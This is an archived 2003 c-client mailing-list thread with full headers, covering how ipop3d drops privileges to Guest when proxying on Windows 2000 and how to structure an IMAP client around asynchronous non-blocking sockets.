Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82MCYq4021177; Tue, 2 Sep 2003 15:12:34 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82MCXXa021180 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 2 Sep 2003 15:12:34 -0700 Message-Id: Date: Tue, 2 Sep 2003 15:13:11 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Paul A. Thiessen" Cc: c-client@u.washington.edu Subject: Re[2]: how to configure ipop3d? In-Reply-To: <793892977.20030902172903@ncbi.nlm.nih.gov> References: <82162171970.20030901100916@ncbi.nlm.nih.gov> <14476169576.20030902103529@ncbi.nlm.nih.gov> <793892977.20030902172903@ncbi.nlm.nih.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 2 Sep 2003, Paul A. Thiessen wrote: > I dunno how good a > general fix this is - what sort of security implications it has - but since > I'm using this only on my own personal laptop, not used by others, I'm not > too worried. The problem is that the server on the Win2K machine will be running with SYSTEM privileges. The purpose of the Guest logon is to drop those elevated privileges, so as to minimize the consequences if a bad guy should find a way to corrupt the server. Once again, it would be better to run this on UNIX, where the technology is better defined/refined. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Sep 2 15:36:35 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 2 Sep 2003 15:36:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82MaZxd015058 for ; Tue, 2 Sep 2003 15:36:35 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82MaWZ9028559 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 2 Sep 2003 15:36:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h82MaRJ8021238; Tue, 2 Sep 2003 15:36:27 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82MZd2x054176 for ; Tue, 2 Sep 2003 15:35:39 -0700 Received: from mail-blade8.ncbi.nlm.nih.gov (mail-blade8.ncbi.nih.gov [130.14.29.48]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82MZa5T012141 for ; Tue, 2 Sep 2003 15:35:37 -0700 Received: from 127.0.0.1 (scarecrow [130.14.25.117]) by mail-blade8.ncbi.nlm.nih.gov (8.12.9/8.12.6) with ESMTP id h82MYi0n025226 for ; Tue, 2 Sep 2003 18:34:44 -0400 Message-Id: <527835697.20030902183446@ncbi.nlm.nih.gov> Date: Tue, 2 Sep 2003 18:34:46 -0400 Reply-To: "Paul A. Thiessen" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Paul A. Thiessen" To: c-client@u.washington.edu Subject: Re[3]: how to configure ipop3d? In-Reply-To: References: <82162171970.20030901100916@ncbi.nlm.nih.gov> <14476169576.20030902103529@ncbi.nlm.nih.gov> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-Scanned-By: MIMEDefang 2.36 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='IN_REP_TO, PRIORITY_NO_NAME, REFERENCES, SIGNATURE_LONG_SPARSE, __BAT_MSGID, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __HAS_X_PRIORITY, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN MC> The problem is that the server on the Win2K machine will be running with MC> SYSTEM privileges. The purpose of the Guest logon is to drop those MC> elevated privileges, so as to minimize the consequences if a bad guy MC> should find a way to corrupt the server. Okay, thanks for the explanation! I see, sort of... ;) Is it not possible to drop these privileges under win2000, or has it just not been written into system_login() yet for this platform? Or, why not make it possible to run ipop3d as a "normal" user? I tried running it as this (just by starting it up via normal command line), with same "USER host:user" format, but it doesn't seem to work (ERR bad login) - I guess normal users don't have access to the net sockets or something? Is there some other access limitation that would make the proxy route not work with a normal-user process? IOW, Why does ipop3d have to run as system in the first place when only doing this proxying? Anyway, I know UNIX would be better, but I don't have any choice but to run it on Win2k - I don't have a UNIX server to set this up on... Even if I did, my secure line to my IMAP server necessarily goes directly from my laptop (port forwarding via SSH), so there's no way I could use another (UNIX) machine inbetween there. (What's really happening is that I'm using ipop3d to proxy e-mail from the local POP port to the local IMAP port.) - Paul -- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Paul A. | NCBI / NIH Thiessen | thiessen@ncbi.nlm.nih.gov +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 2 15:43:36 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 2 Sep 2003 15:43:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82MhZxd015454 for ; Tue, 2 Sep 2003 15:43:35 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82MhXZ9028831 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 2 Sep 2003 15:43:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h82MhSKH024234; Tue, 2 Sep 2003 15:43:28 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82Mgo2x024150 for ; Tue, 2 Sep 2003 15:42:50 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82MgnbV010440 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 2 Sep 2003 15:42:49 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82Mgiq4026444; Tue, 2 Sep 2003 15:42:44 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82Mgi4A010437 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 2 Sep 2003 15:42:44 -0700 Message-Id: Date: Tue, 2 Sep 2003 15:43:26 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Paul A. Thiessen" Cc: c-client@u.washington.edu Subject: Re[3]: how to configure ipop3d? In-Reply-To: <527835697.20030902183446@ncbi.nlm.nih.gov> References: <82162171970.20030901100916@ncbi.nlm.nih.gov> <14476169576.20030902103529@ncbi.nlm.nih.gov> <527835697.20030902183446@ncbi.nlm.nih.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 2 Sep 2003, Paul A. Thiessen wrote: > Is it not possible to > drop these privileges under win2000, or has it just not been written into > system_login() yet for this platform? That's exactly what logging in as Guest is supposed to do. > Or, why not make it possible to run > ipop3d as a "normal" user? I tried running it as this (just by starting it > up via normal command line), with same "USER host:user" format, but it > doesn't seem to work (ERR bad login) - I guess normal users don't have > access to the net sockets or something? Normal users can't log in as other users, not even if you know the password. It's how NT is designed. > Why does ipop3d have to run as system in the first place when > only doing this proxying? It doesn't know that proxying is all it will do. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Sep 2 16:06:28 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 2 Sep 2003 16:06:28 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82N6Sxd016564 for ; Tue, 2 Sep 2003 16:06:28 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82N6PYa012730 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 2 Sep 2003 16:06:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h82N6LJ8014958; Tue, 2 Sep 2003 16:06:21 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82N5Y2x016882 for ; Tue, 2 Sep 2003 16:05:34 -0700 Received: from mail-blade7.ncbi.nlm.nih.gov (mail-blade7.ncbi.nih.gov [130.14.29.47]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82N5W19015311 for ; Tue, 2 Sep 2003 16:05:32 -0700 Received: from 127.0.0.1 (scarecrow [130.14.25.117]) by mail-blade7.ncbi.nlm.nih.gov (8.12.9/8.12.6) with ESMTP id h82N4NJO023909 for ; Tue, 2 Sep 2003 19:04:23 -0400 Message-Id: <1359616688.20030902190427@ncbi.nlm.nih.gov> Date: Tue, 2 Sep 2003 19:04:27 -0400 Reply-To: "Paul A. Thiessen" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Paul A. Thiessen" To: c-client@u.washington.edu Subject: Re[4]: how to configure ipop3d? In-Reply-To: References: <82162171970.20030901100916@ncbi.nlm.nih.gov> <14476169576.20030902103529@ncbi.nlm.nih.gov> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-Scanned-By: MIMEDefang 2.36 X-Uwash-Spam: Gauge=III, Probability=3%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, PRIORITY_NO_NAME, REFERENCES, SIGNATURE_LONG_SPARSE, __BAT_MSGID, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __HAS_X_PRIORITY, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tuesday, September 2, 2003, 6:43:26 PM, Mark Crispin wrote: >> Is it not possible to >> drop these privileges under win2000, or has it just not been written into >> system_login() yet for this platform? MC> That's exactly what logging in as Guest is supposed to do. I know, but my whole point is that as far as I can tell from reading the code, as the imapd-2002d code currently stands this logging on as Guest in ipop3d under win2000 will *never* work - that is, anonymous_login() will *always* fail. Right? Hence my need to make some modification. Let me see if I have this straight, correct me if I'm wrong: ipop3d.exe is run as system so that when a user accesses the POP port and wants to look at a local file, the privilege level gets set to that user's account, so that they can't read others' mail but can access their own local inbox. But this "local logon" seems to happen only after USER+PASS is received by the POP server, with a request for a local INBOX. When the "USER host:user" format is received, it logs on as Guest only, and forwards requests to the IMAP host. Is there any fundamental reason, then, why I couldn't run ipop3d under my own account, and use it for proxying? If ipop3d is going to switch to Guest (with minimal privileges) anyway, why couldn't I just run it via my normal account, when I need to read mail (and not set the port listener up as a system service)? I understand that it's not written this way because it's normally used as a regular multi-user server. I'm just wondering if there's any reason it couldn't be modified to be run under a normal user account. Can normal user accounts access the net ports? Seems this is all that'd be required to run in proxy mode, no local file access needed. Or maybe you're saying this is still too insecure? That is, the reason Guest is used is that it can't access anything at all, and the a normal-user process can't switch to Guest under win2000? Sorry to keep bugging you, I'm just trying to understand the philosophy of how this access control is supposed to work... ;) - Paul -- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Paul A. | NCBI / NIH Thiessen | thiessen@ncbi.nlm.nih.gov +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 2 17:12:54 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 2 Sep 2003 17:12:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h830Csxd019692 for ; Tue, 2 Sep 2003 17:12:54 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h830CpYa015498 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 2 Sep 2003 17:12:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h830CkTB016802; Tue, 2 Sep 2003 17:12:47 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h830Bl2x062890 for ; Tue, 2 Sep 2003 17:11:47 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h830BkZP025274 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 2 Sep 2003 17:11:46 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h830Ben7027936; Tue, 2 Sep 2003 17:11:40 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h830BeXa029469 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 2 Sep 2003 17:11:40 -0700 Message-Id: Date: Tue, 2 Sep 2003 17:12:35 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Paul A. Thiessen" Cc: c-client@u.washington.edu Subject: Re[4]: how to configure ipop3d? In-Reply-To: <1359616688.20030902190427@ncbi.nlm.nih.gov> References: <82162171970.20030901100916@ncbi.nlm.nih.gov> <14476169576.20030902103529@ncbi.nlm.nih.gov> <1359616688.20030902190427@ncbi.nlm.nih.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 2 Sep 2003, Paul A. Thiessen wrote: > I know, but my whole point is that as far as I can tell from reading the > code, as the imapd-2002d code currently stands this logging on as Guest in > ipop3d under win2000 will *never* work - that is, anonymous_login() will > *always* fail. Right? Hence my need to make some modification. Correct on all points. This was never fully worked out. > Is there any fundamental reason, then, why I couldn't run ipop3d under my > own account, and use it for proxying? It's probably alright in a closed system, in which outsiders can't communicate with it. I'd be worried if it was on the open Internet. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 3 05:03:59 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 3 Sep 2003 05:03:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h83C3xd4010551 for ; Wed, 3 Sep 2003 05:03:59 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h83C3uYa005828 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 3 Sep 2003 05:03:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h83C3oJ8021084; Wed, 3 Sep 2003 05:03:51 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h83C2b2x009476 for ; Wed, 3 Sep 2003 05:02:37 -0700 Received: from web9801.mail.yahoo.com (web9801.mail.yahoo.com [216.136.129.211]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h83C2Z19003109 for ; Wed, 3 Sep 2003 05:02:36 -0700 Received: from [202.62.76.10] by web9801.mail.yahoo.com via HTTP; Wed, 03 Sep 2003 05:02:35 PDT Message-Id: <20030903120235.72471.qmail@web9801.mail.yahoo.com> Date: Wed, 3 Sep 2003 05:02:35 -0700 (PDT) Reply-To: ganga_506@yahoo.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gangadhar Mylapuram To: c-client@u.washington.edu Subject: IMAP with Asynchronous Sockets MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1293431050-1062590555=:72468" X-Uwash-Spam: Gauge=XI, Probability=11%, Report='FROM_ENDS_IN_NUMS, __CT, __CTYPE_HAS_BOUNDARY, __CTYPE_MULTIPART_ALT, __EVITE_CTYPE, __HAS_MSGID, __MIME_HTML, __MIME_VERSION, __MSGID_BEFORE_OKAY, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-1293431050-1062590555=:72468 Content-Type: text/plain; charset=us-ascii Hi All, Have anybody worked on asynchronous sockets for IMAP client development. If so, Please let me the way to handle these asynchronous events in perspective of IMAP. >From my understanding, we need to make FSM to handle these events upon our actual protocol FSM. But i am unable to visulise the states of this new FSM. Any comments and suggetions are Welcome. Thanks and Regards Gangadhar --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-1293431050-1062590555=:72468 Content-Type: text/html; charset=us-ascii
    Hi All,
     
    Have anybody worked on asynchronous sockets for IMAP client development.
     
    If so, Please let me the way to handle these asynchronous events in perspective of IMAP.
     
    From my understanding, we need to make FSM to handle these events upon our actual protocol FSM.
     
    But i am unable to visulise the states of this new FSM.
     
    Any comments and suggetions are Welcome.
     
    Thanks and Regards
    Gangadhar
     

    Do you Yahoo!?
    Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-1293431050-1062590555=:72468-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 3 08:56:13 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 3 Sep 2003 08:56:13 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h83FuDd4018506 for ; Wed, 3 Sep 2003 08:56:13 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h83FuBYa014348 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 3 Sep 2003 08:56:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h83Fu3w3015350; Wed, 3 Sep 2003 08:56:04 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h83Fsf61036964 for ; Wed, 3 Sep 2003 08:54:41 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h83Fse1A023065 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 3 Sep 2003 08:54:40 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout5.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h83FsdSA026236; Wed, 3 Sep 2003 08:54:39 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h83Fsdg2008792; Wed, 3 Sep 2003 08:54:39 -0700 Message-Id: Date: Wed, 3 Sep 2003 08:54:39 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Gangadhar Mylapuram Cc: c-client@u.washington.edu Subject: Re: IMAP with Asynchronous Sockets In-Reply-To: <20030903120235.72471.qmail@web9801.mail.yahoo.com> References: <20030903120235.72471.qmail@web9801.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The correct way of looking at IMAP is to see it as two protocols. One protocol sends commands from the client, and at some later time it gets a completion response from the server. The client may send more than one command at a time if the execution order of those commands does not matter (refer to the text in RFC 3501 about multiple commands in progess). The other protocol receives data from the server, and updates the client's cache of the data. Non-blocking sockets can be used to implement this. This does not lend itself to an FSM very well. A queue is a better model. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Sep 8 06:21:52 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Sep 2003 06:21:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h88DLqd4024276 for ; Mon, 8 Sep 2003 06:21:52 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h88DLoYa002501 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 8 Sep 2003 06:21:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h88DLhVf014830; Mon, 8 Sep 2003 06:21:44 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h88DJv61071848 for ; Mon, 8 Sep 2003 06:19:57 -0700 Received: from web9801.mail.yahoo.com (web9801.mail.yahoo.com [216.136.129.211]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h88DJubU026296 for ; Mon, 8 Sep 2003 06:19:56 -0700 Received: from [202.62.76.43] by web9801.mail.yahoo.com via HTTP; Mon, 08 Sep 2003 06:19:55 PDT Message-Id: <20030908131955.51658.qmail@web9801.mail.yahoo.com> Date: Mon, 8 Sep 2003 06:19:55 -0700 (PDT) Reply-To: ganga_506@yahoo.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gangadhar Mylapuram To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: IMAP with Asynchronous Sockets In-Reply-To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-337872682-1063027195=:51581" X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, FROM_ENDS_IN_NUMS, IN_REP_TO, QUOTED_EMAIL_TEXT, SUPERLONG_LINE, __CT, __CTYPE_HAS_BOUNDARY, __CTYPE_MULTIPART_ALT, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_HTML, __MIME_VERSION, __MSGID_BEFORE_OKAY, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-337872682-1063027195=:51581 Content-Type: text/plain; charset=us-ascii Hi mark, "Stop after current command finishes". Is this applicable to the following problem. ________ _________ I |----------------------------->| | I MMI | | Email | I |<-----------------------------| | ---------------- ----------------- The problem here is : I have two taks, Man machine interface(MMI) task sends user request to Email task through message queue. Through this message queue i have provison to receive asynchronous events (async+ non-blocking), these events tell whether send/recv/connect is success or failure. In Email task i have a while loop to receive request and events. For example: User request is "select folder" (from queue). Client has to send user view of mails to MMI. The sequence of commands need to execute by email client are (considering state of IMAP is authenticated) a.Select folder-name. (send and recv) b. Fetech 1:Max-Msgs (uid bodystructure envelope). (send and recv) c. close. (send and recv) For each send and recv, i will receive an event form queue. I should not expect the result of send and recv immediatly. My problem is How to handle events. How to use c-client routines in async+non-blocking mode? Mark Crispin wrote: On Wed, 3 Sep 2003, Gangadhar Mylapuram wrote: > Requirment is use of asynchornous+ non bolocking sockets which handles > abort requsts form user. No. You don't want to abort that way. IMAP is a highly stateful protocol and it is an extreme waste to discard sessions arbitrarily. That state is expensive to build. The correct mechanism is to use means such as partial fetching to reduce potentially long tasks into shorter ones, and to implement an abort as a "stop after the current command finishes". -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-337872682-1063027195=:51581 Content-Type: text/html; charset=us-ascii
     
    Hi mark,
     
     
    "Stop after current command finishes". Is this applicable to the following problem.
     
                    ________                                _________
                   I              |----------------------------->|                |
                   I   MMI    |                               | Email       |
                   I              |<-----------------------------|                |
                   ----------------                               -----------------
     
    The problem here is :
                                    I have two taks,  Man machine interface(MMI) task sends user request to Email task through message queue. Through this message queue i have provison to receive asynchronous events (async+ non-blocking), these events tell whether send/recv/connect is success or failure.
     
